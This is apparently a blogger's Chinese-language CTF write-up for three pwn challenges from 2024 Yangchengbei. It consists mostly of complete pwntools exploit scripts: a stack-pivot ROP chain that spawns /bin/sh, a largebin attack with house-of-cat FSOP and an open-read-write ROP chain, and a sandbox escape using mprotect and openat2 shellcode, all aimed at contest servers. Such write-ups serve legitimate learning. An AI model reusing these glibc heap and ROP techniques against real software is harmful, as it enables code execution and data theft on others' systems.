0%

羊城杯2024 pwn 部分wp

好久没写博客了,写篇wp水一下(doge)

pstack

老经典的栈迁移了,具体看栈迁移 | feichai’s Blog (ccjssjdyka.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
context.arch = 'amd64'
#context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-e']
local_file = '/home/feichai/ctf_file/pwn'
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def start():
if args.GDB:
gdbscript = '''
shell wmctrl -r :ACTIVE: -b add,above
shell wmctrl -r :ACTIVE: -e 0,110,80,1700,1300
b *$rebase(0x1100)
'''
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.PROCESS:
io = process(local_file)
else:
io = remote("139.155.126.78",32854)

return io

def lg(s, addr):
return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')

r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)

io = start()

def exp():

puts_plt=elf.plt[b'puts']
puts_got=elf.got[b'puts']

pop_rdi = 0x0000000000400773
leave_ret = 0x00000000004006db
bss = 0x601010 + 0x300
pop_rbp = 0x00000000004005b0
ret = 0x0000000000400506

pd = b'a'*0x30+p64(bss+0x30)+p64(0x4006B8)
sa(b'overflow?',pd)

pd=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)
pd+=p64(pop_rbp)+p64(bss+0x500)+p64(0x4006C4)
pd=pd.ljust(0x30,b"\x00")+p64(bss-0x8)+p64(leave_ret)
sa(b'overflow?',pd)

libc_base = u64(ru(b'\x7f')[-6:]+b'\x00'*2)-libc.symbols[b'puts']
lg('libc_base',libc_base)
libc_system = libc_base + libc.symbols[b'system']
bin_sh_addr = libc_base + next(libc.search(b'/bin/sh'))

pd= p64(pop_rdi)+p64(bin_sh_addr)+p64(libc_system)
pd=pd.ljust(0x30,b"\x00")+p64(bss+0x500-0x30-0x8)+p64(leave_ret)

s(pd)

io.interactive()

if __name__=='__main__':
exp()

TravelGraph

这题做的挺久的,主要是第一次做到这种加上Dijkstra算法的题,但是理清思路后完全不难,就把路径当成堆块的编号就好了,漏洞利用跟算法无关

largebin attack + setcontext + FSOP + orw

用的是house of cat 的链子,不得不说,这链子真好用,下面一题也是用的这个链子,恰巧两题都有exit函数,真香,难点是堆块的布局和构造堆块利用堆溢出来实现largebin attack,就是下面这部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
add(0x520,c[0],c[0]) #7
add(0x520,c[1],c[1]) #8
add(0x520,c[2],c[2]) #9
add(0x520,c[3],c[3]) #10
add(0x520,c[4],c[4]) #11 0x3df0
add(0x520,c[0],c[2]) #12 0x4330
add(0x510,c[0],c[3],payload) #13 0x4850

free(c[0],c[2])
free(c[4],c[4])
free(c[3],c[3])
free(c[2],c[2])
free(c[1],c[1])
free(c[0],c[0])

add(0x530,c[2],c[3]) #14 0x2930
add(0x530,c[2],c[3]) #15 0x2e70
add(0x530,c[0],c[4],b'a'*0x4f0+p64(0)+p64(0x531)+p32(3)+p32(3)) #16 0x33b0
add(0x510,c[2],c[3],b'a'*0x4e0+p64(0)+p64(0x531)+p32(4)+p32(4)) #17 0x38f0
add(0x510,c[2],c[3],b'./flag\x00\x00') #18 0x3e10
add(0x510,c[2],c[3],orw) #19 0x4330

free(c[3],c[3])
add(0x530,c[2],c[3])
pd = b'a'*0x4f0+p64(0)+p64(0x531)
pd += p64(libc_base+0x21b110)*2+p64(heap_base+0x38c0)+p64(_IO_list_all-0x20)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
context.arch = 'amd64'
#context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-e']
local_file = '/home/feichai/ctf_file/pwn'
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def start():
if args.GDB:
gdbscript = '''
shell wmctrl -r :ACTIVE: -b add,above
shell wmctrl -r :ACTIVE: -e 0,110,80,1700,1300
b *$rebase(0x22DC)
b *$rebase(0x14CE)
b *$rebase(0x1696)
'''
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.PROCESS:
io = process(local_file)
else:
io = remote("139.155.126.78",31459)

return io

def lg(s, addr):
return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')

r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)

io = start()

def choice(idx):
sla(b'distance.',str(idx))

def add(size,From,To,content=b'aaaa'): #20
choice(1)
if size == 0x510:
sla(b'car/train/plane?',b'car')
elif size == 0x520:
sla(b'car/train/plane?',b'train')
elif size == 0x530:
sla(b'car/train/plane?',b'plane')
sla(b'From where?',From)
sla(b'To where?',To)
sla(b'How far?',b'900')
sa(b'Note:',content)

def free(From,To):
choice(2)
sla(b'From where?',From)
sla(b'To where?',To)

def show(From,To):
choice(3)
sla(b'From where?',From)
sla(b'To where?',To)

def edit(From,To,idx,content):
choice(4)
sla(b'From where?',From)
sla(b'To where?',To)
sla(b'change?',str(idx))
sla(b'How far?',b'900')
sa(b'Note:',content)

def Dijkstra(cities):
choice(5)
sla(b'travel?',cities)

c = ['guangzhou','nanning','changsha','nanchang','fuzhou']
chunk_list = 0x50C0

def exp():

add(0x510,c[0],c[1]) #0
add(0x510,c[1],c[2]) #1
add(0x530,c[2],c[3]) #2
Dijkstra(c[3])
free(c[1],c[2])
free(c[0],c[1])
add(0x530,c[0],c[1],b'a'*0x510) #3
show(c[0],c[1])
libc_base = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x21ace0
lg('libc_base',libc_base)
setcontext = libc_base + libc.sym['setcontext']
stderr = libc_base + libc.sym['stderr']
_IO_list_all = libc_base + libc.sym['_IO_list_all']

free(c[0],c[1])
add(0x510,c[0],c[1]) #4
add(0x530,c[1],c[2]) #5
add(0x510,c[2],c[3],b'a'*8) #6
show(c[2],c[3])
ru(b'a'*8)
heap_base = u64(r(6).ljust(8,b'\x00')) - 0x1990
lg('heap_base',heap_base)
ret = 0x0000000000029139 + libc_base
pop_rdi = 0x000000000002a3e5 + libc_base
pop_rsi = 0x000000000002be51 + libc_base
pop_rdx_r12 = 0x000000000011f2e7 + libc_base
pop_rax = 0x0000000000045eb0 + libc_base

#house of cat
fake_io_addr=heap_base+0x4850 # 伪造的fake_IO结构体的地址
_flags = 0
fake_IO_FILE = b''
#fake_IO_FILE += p64(_flags) #_flags=rdi
fake_IO_FILE += p64(0)*4
fake_IO_FILE += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE += p64(fake_io_addr+0xb0) #_IO_backup_base=rdx
fake_IO_FILE += p64(setcontext + 61) #_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68-0x20,b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88-0x20,b'\x00')
fake_IO_FILE += p64(heap_base+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0-0x20,b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x30) #_wide_data,rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xc0-0x20,b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8-0x20,b'\x00')
fake_IO_FILE += p64(libc_base+libc.sym['_IO_wfile_jumps']+0x30) # vtable=IO_wfile_jumps+0x10 FSOP改为IO_wfiel_jumps+0x30
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # #rax2 -> to make [rax+0x18] = setcontext + 61
payload = fake_IO_FILE + p64(0)*7 + p64(heap_base+0x4330+0x20+8) + p64(ret)

open = libc.sym["open"] + libc_base
read = libc.sym["read"] + libc_base
write = libc.sym["write"] + libc_base

flag_str = heap_base + 0x3e10 + 0x20
flag_addr = heap_base + 0x6000

orw = b'\x00\x00\x00\x00\x00\x00\x00\x00'
orw += p64(pop_rdi) + p64(flag_str)
orw += p64(pop_rsi) + p64(0)
orw += p64(open)

orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(flag_addr)
orw += p64(pop_rdx_r12) + p64(0x30) + p64(0)
orw += p64(read)

orw += p64(pop_rdi) + p64(1)
orw += p64(pop_rsi) + p64(flag_addr)
orw += p64(pop_rdx_r12) + p64(0x30) + p64(0)
orw += p64(write)

add(0x520,c[0],c[0]) #7
add(0x520,c[1],c[1]) #8
add(0x520,c[2],c[2]) #9
add(0x520,c[3],c[3]) #10
add(0x520,c[4],c[4]) #11 0x3df0
add(0x520,c[0],c[2]) #12 0x4330
add(0x510,c[0],c[3],payload) #13 0x4850

free(c[0],c[2])
free(c[4],c[4])
free(c[3],c[3])
free(c[2],c[2])
free(c[1],c[1])
free(c[0],c[0])

add(0x530,c[2],c[3]) #14 0x2930
add(0x530,c[2],c[3]) #15 0x2e70
add(0x530,c[0],c[4],b'a'*0x4f0+p64(0)+p64(0x531)+p32(3)+p32(3)) #16 0x33b0
add(0x510,c[2],c[3],b'a'*0x4e0+p64(0)+p64(0x531)+p32(4)+p32(4)) #17 0x38f0
add(0x510,c[2],c[3],b'./flag\x00\x00') #18 0x3e10
add(0x510,c[2],c[3],orw) #19 0x4330

free(c[3],c[3])
add(0x530,c[2],c[3])
pd = b'a'*0x4f0+p64(0)+p64(0x531)
pd += p64(libc_base+0x21b110)*2+p64(heap_base+0x38c0)+p64(_IO_list_all-0x20)
lg('stderr',stderr)

edit(c[0],c[4],0,pd)
free(c[0],c[3])
add(0x530,c[2],c[3])
lg("IO_flush_all",libc_base+0x8E95B)

pause()
choice(6)

io.interactive()

if __name__=='__main__':
exp()

hard sandbox

这道题并不难,但是我只在本地读出了flag,远程读不出来,但是不影响,实际上题解就是这样,主办方说唯独这题不是他们出的,他们去问过flag路径和内核版本,出题的人都不肯说,挺无语的。。。

思路是利用largebin attack伪造_IO_list_all,然后调用mprotect赋权,再用openat2+read+write即可

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
from pwn import *
from pwn import p8,p16,p32,p64,u32,u64
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-e']
local_file = '/home/feichai/ctf_file/pwn'
elf=ELF(local_file)
local_libc = elf.libc.path
libc=ELF(local_libc, checksec = False)

def start():
if args.GDB:
gdbscript = '''
shell wmctrl -r :ACTIVE: -b add,above
shell wmctrl -r :ACTIVE: -e 0,110,80,1700,1300
b *$rebase(0x1815)
'''
io = process(local_file)
gdb.attach(io, gdbscript)
elif args.PROCESS:
io = process(local_file)
else:
io = remote("49.234.30.109",9999)

return io

def lg(s, addr):
return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')

r = lambda a: io.recv(a)
ru = lambda a: io.recvuntil(a)
s = lambda a: io.send(a)
sa = lambda a,b: io.sendafter(a,b)
sl = lambda a: io.sendline(a)
sla = lambda a,b: io.sendlineafter(a,b)

io = start()

def choice(index):
sla('>',str(index))

def add(idx,size):
choice(1)
sla('Index: ',str(idx))
sla('Size: ',str(size))

def free(idx):
choice(2)
sla('Index: ',str(idx))

def edit(idx,content):
choice(3)
sla('Index: ',str(idx))
sa('Content: ',content)

def show(idx):
choice(4)
sla('Index: ',str(idx))

def exp():

add(0,0x520) #0
add(1,0x530) #1
add(2,0x518) #2
free(0)

add(3,0x540) #3

show(0) #0
libc_base = u64(ru(b'\x7f')[-6:].ljust(8,b"\x00")) - 0x1f70f0
lg("libc_base",libc_base)
edit(0,b'a'*0x10)
show(0)
ru(b'a'*0x10)
heap_base = u64(r(6).ljust(8,b"\x00")) - 0x290
lg("heap_base",heap_base)
edit(0,p64(libc_base + 0x1f70f0)*2)

pop_rdi =libc_base + 0x0000000000023b65
pop_rsi = libc_base + 0x00000000000251be
pop_rdx = libc_base +0x0000000000166262
pop_rax = libc_base + 0x000000000003fa43
ret = libc_base + 0x50878

stderr=libc_base+libc.sym['stderr']
_IO_list_all = libc_base+libc.sym['_IO_list_all']
setcontext=libc_base+libc.sym['setcontext']
setuid=libc_base+libc.sym['setuid']
close=libc_base+libc.sym['close']
read=libc_base+libc.sym['read']
puts=libc_base+libc.sym['puts']
syscall_ret=libc_base + 0x8CC36 # syscall; ret;
fake_io_addr = heap_base + 0xd00
rop_addr = heap_base + 0x2750
flag_addr = heap_base + 0x2c90
mprotect = libc_base + libc.sym['mprotect']
# _flags = 0 #_IO_read_ptr = 0x521

fake_IO_FILE = b''
#fake_IO_FILE += p64(_flags) #_flags=rdi
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE += p64(fake_io_addr+0xb0) #_IO_backup_base=rdx
fake_IO_FILE += p64(setcontext + 61) #_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68-0x10,b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88-0x10,b'\x00')
fake_IO_FILE += p64(heap_base+0x1000) # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0-0x10,b'\x00')
fake_IO_FILE += p64(fake_io_addr+0x30) #_wide_data,rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xc0-0x10,b'\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8-0x10,b'\x00')
fake_IO_FILE += p64(libc_base+libc.sym['_IO_wfile_jumps']+0x30) # vtable=IO_wfile_jumps+0x10 FSOP改为IO_wfiel_jumps+0x30
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40) # #rax2 -> to make [rax+0x18] = setcontext + 61
payload = fake_IO_FILE + p64(0)*7 + p64(rop_addr) + p64(ret)
lg("stderr",stderr)
free(2)

add(4,0x518)
edit(4,payload)
free(4) # 2
#largebin attack
edit(0,p64(libc_base+0x1f70f0)*2 + p64(heap_base+0x290) + p64(_IO_list_all-0x20))

add(5,0x540)
add(6,0x530)
add(7,0x530)

# mov rax, 0x67616c662f2e
# push rax
sc = shellcraft.pushstr('/home/dasctf/flag.txt')
sc += """
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
push 0
push 0
push 0
mov rdx, rsp
mov r10, 0x18
push SYS_openat2
pop rax
syscall

push 3
pop rdi
push 0x30 /* read size */
pop rdx
mov rsi, rsp
push SYS_read
pop rax
syscall

push 1
pop rdi
push 0x30 /* write size */
pop rdx
mov rsi, rsp
push SYS_write
pop rax
syscall
"""

rop = p64(pop_rdi) + p64(libc_base-0x3000)
rop += p64(pop_rsi) + p64(0x3000)
rop += p64(pop_rdx) + p64(7)
rop += p64(mprotect)

rop += p64(pop_rdi) + p64(0)
rop += p64(setuid)

rop += p64(pop_rdi) + p64(0)
rop += p64(pop_rsi) + p64(libc_base-0x3000)
rop += p64(pop_rdx) + p64(0xff)
rop += p64(read) + p64(libc_base-0x3000)

add(8,0x530)
edit(8,rop)
free(5)
add(9,0x550)
edit(9,b'./flag\x00\x00')
free(7)

lg("setcontext + 61",setcontext + 61)
#pause()
choice(5)
sleep(0.1)
s(asm(sc))

io.interactive()

if __name__=='__main__':
exp()

剩下2题是httpd,和logger

httpd会不了一点,要狠狠补webpwn了,写到logger的时候已经半夜2点了,太困了,遂眠

-------------本文结束感谢您的阅读-------------

欢迎关注我的其它发布渠道